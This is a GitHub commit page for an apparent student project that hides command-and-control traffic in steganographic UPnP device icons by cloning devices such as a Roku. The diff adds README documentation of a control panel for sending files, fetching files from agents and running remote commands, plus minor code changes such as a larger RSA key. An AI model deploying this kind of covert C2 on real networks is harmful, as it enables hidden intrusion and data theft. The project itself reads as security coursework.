Skip to content

Commit

Permalink
Final commit before turning in assignment.
Browse files Browse the repository at this point in the history
  • Loading branch information
nuvious committed Jul 23, 2024
1 parent 58866be commit 5b4de9f
Show file tree
Hide file tree
Showing 3 changed files with 28 additions and 6 deletions.
27 changes: 24 additions & 3 deletions README.md
Original file line number Diff line number Diff line change
@@ -1,5 +1,7 @@
# UPNPsuedographia

A detailed overview is available in a whitepapaer in [markdown](Whitepaper.md) and [pdf](Whitepaper.pdf) formats.

## Dependencies

Clone the repository:
Expand Down Expand Up @@ -59,6 +61,25 @@ to interact with. It will receive messages and commands from the C2.
upnpseudograph --preferred-device=upnpseudograph.upnp.RokuDevice
```

### Interacting with Agent

After a device is cloned you will receive a prompt to interact with other agents:

```bash
Control Panel:
m:[MESSAGE] - Send a message
f:[FILE_PATH] - Send file
g:[FILE_PATH] - Gets a file from an agent (c2 only)
c:[COMMAND] - Execute a command (c2 only)
l - List agents
q - quit

Enter command:m:hello
0 192.168.1.42
Select agent to send to or type c to cancel:0
Message queued for 192.168.1.42
```

### Other Arguments

There are other arguments you can pass in depending on preference:
Expand All @@ -71,6 +92,6 @@ There are other arguments you can pass in depending on preference:

# References

https://quimby.gnus.org/internet-drafts/draft-cai-ssdp-v1-03.txt
https://openconnectivity.org/upnp-specs/UPnP-arch-DeviceArchitecture-v2.0-20200417.pdf
https://github.com/MoshiBin/ssdpy
[1] Contributing Members of the UPnP Forum, “UPnPTM Device Architecture 1.1,” 2008. Available: https://upnp.org/specs/arch/UPnP-arch-DeviceArchitecture-v1.1.pdf. [Accessed: Jul. 23, 2024]

[2] x011, “x011/SecretPixel,” GitHub, Mar. 29, 2024. Available: https://github.com/x011/SecretPixel. [Accessed: Jul. 22, 2024]
1 change: 1 addition & 0 deletions src/upnpseudograph/agent.py
Original file line number Diff line number Diff line change
Expand Up @@ -122,6 +122,7 @@ def process_message(self, agent_ip: str, message: bytes):
elif command == ord('g'):
try:
full_path = message_content.decode('utf8')
print(f"Received get request for {full_path} from {agent_ip}.")
file_name = os.path.basename(full_path).encode('utf8')
filename_length = len(file_name).to_bytes(4, byteorder='big')
with open(full_path, 'rb') as f:
Expand Down
6 changes: 3 additions & 3 deletions src/upnpseudograph/utils.py
Original file line number Diff line number Diff line change
Expand Up @@ -24,7 +24,7 @@
_HOST_IP_ADDRESS = None
GLOBAL_BYTE_ORDER = 'big'
_PUBLIC_EXPONENT = 0x10001
RSA_BIT_STRENGTH = 2048
RSA_BIT_STRENGTH = 4096
IP_PATTERN = r'\b(?:[0-9]{1,3}\.){3}[0-9]{1,3}\b'


Expand All @@ -43,7 +43,6 @@ def _benchmark_icon(public_key: rsa.RSAPublicKey, icon: typing.Dict):
int
The number of bytes that can be encoded in the image
"""
gen_byte_string = lambda x : os.urandom(x) # pylint: disable=W0108,C3001
icon_bytes = icon.get('content')
if not icon_bytes:
return 0
Expand Down Expand Up @@ -97,6 +96,7 @@ def benchmark_icons(public_key: rsa.RSAPublicKey, icons: typing.Dict):
capacity = _benchmark_icon(public_key, icon)
icon['_capacity'] = capacity
benchmarked_icons[icon_path] = icon
print(f"Capacity of icon {icon_path} is {capacity}.")
return benchmarked_icons


Expand Down Expand Up @@ -242,7 +242,7 @@ def get_compact_key(key: rsa.RSAPrivateKey | rsa.RSAPublicKey):
public_numbers = key.public_key().public_numbers()
else:
public_numbers = key.public_numbers()
return public_numbers.n.to_bytes(2048//8, byteorder=GLOBAL_BYTE_ORDER)
return public_numbers.n.to_bytes(RSA_BIT_STRENGTH//8, byteorder=GLOBAL_BYTE_ORDER)


def public_key_from_n(n_bytes):
Expand Down

0 comments on commit 5b4de9f

Please sign in to comment.